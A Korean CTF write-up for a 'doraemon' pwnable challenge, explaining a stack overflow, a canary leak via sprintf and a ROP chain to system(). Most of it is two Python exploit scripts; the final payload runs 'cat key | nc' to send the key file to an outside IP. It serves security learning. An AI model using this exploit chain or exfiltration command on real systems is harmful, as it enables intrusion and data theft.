로컬에 doraemon.txt / bread.txt / mouse.txt 있어야 문제가 제대로 돌아간다.
환경은 Ubuntu 14.04 를 이용했다. 문제를 로컬에서 실행시키면 8888번 포트를 통해서 돌아간다.
이런저런 루틴을 거쳐서 sub_8049201 함수로 들어가게 되는데 아이다로 까보면 아래와 같다.
이 중 sub_8048fc6 함수(4. Throw mouse 메뉴)에서 오버플로우가 발생한다.
buf 크기는 4byte인데 110byte를 read 한다. 그리고 if((BYTE)buf == 121) y인지 확인하고 맞다면
사용자의 입력값을 출력해주는데 이 부분을 통해 카나리를 leak 하고 rop하면 된다.
sprintf는 buf를 출력해줄 때 NULL을 만날때까지 출력해주기 때문에 카나리의 첫바이트까지
덮어주면 NULL 바이트가 사라지고 그대로 출력. 즉 카나리를 leak 시킬 수 있다.
buf가 sp+22h 에 있고 카나리가 sp+2Ch에 있다. 둘의 거리차이는 10이므로 10바이트 이후부터의 입력값이
카나리를 덮는다. buf(10byte) | canary(4byte)
아래의 코드를 통해 leak 시켰다.
[ leak.py ]
from struct import *
from socket import *
import time
p = lambda x:pack("<L", x)
up = lambda x:unpack("<L", x)[0]
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 8888))
print "[*] START"
s.recv(1024)
s.recv(1024)
s.send("4\n")
s.recv(1024)
time.sleep(0.5)
s.send("y"+"a"*10)
canary = s.recv(1024)
canary = "\x00"+canary.split("y"+"a"*10)[1][:3]
print "[*] CANARY = "+str(hex(up(canary)))
s.close()
fork로 돌아가기 때문에 카나리값은 고정이다. 이제 간단하게 rop시키면 된다.
[exploit]
from socket import *
from struct import *
import time
p = lambda x:pack("<L", x)
up = lambda x:unpack("<L", x)[0]
canary = p(0x4717c900)
write_plt = p(0x080486e0)
write_got = p(0x0804b040)
read_plt = p(0x08048620)
read_got = p(0x0804b010)
bss = p(0x0804b080)
pppr = p(0x08048b2c)
cmd = "cat key | nc 192.168.46.1 7575"
offset = 0x9b3e0
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.52.128", 8888))
payload = "y" * 10
payload += canary
payload += "a" * 12
payload += write_plt
payload += pppr
payload += p(4)
payload += write_got
payload += p(4)
s.recv(1024)
s.recv(1024)
s.send("4\n")
s.recv(1024)
time.sleep(0.5)
s.recv(1024)
print "[*] SEND PAYLOAD"
s.send(payload)
write_libc = up(s.recv(1024))
system = write_libc - offset
print "[*] WRITE LIBC = "+hex(write_libc)
print "[*] SYSTEM LIBC = "+hex(system)
s.close()
s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.52.128", 8888))
s.recv(1024)
s.recv(1024)
s.send("4\n")
s.recv(1024)
time.sleep(0.5)
s.recv(1024)
print "[*] SEND PAYLOAD"
payload = ""
payload += "y" * 10
payload += canary
payload += "a" * 12
payload += read_plt
payload += pppr
payload += p(4)
payload += bss
payload += p(len(cmd))
payload += p(system)
payload += "aaaa"
payload += bss
s.send(payload+"\n")
s.send(cmd)
s.recv(1024)
s.close()
print "[*] END"
'Wargame(CTF)' 카테고리의 다른 글
[Solveme.kr] Point Lotto (0) | 2016.11.18 |
---|---|
[2016 SECUINSDE CTF] SBBS(Web 250) (0) | 2016.07.12 |
[2013 Codegate] nuclear (0) | 2016.07.05 |
blackjack (0) | 2016.06.28 |
2016 Codegate 대학생대회 후기 (5) | 2016.05.03 |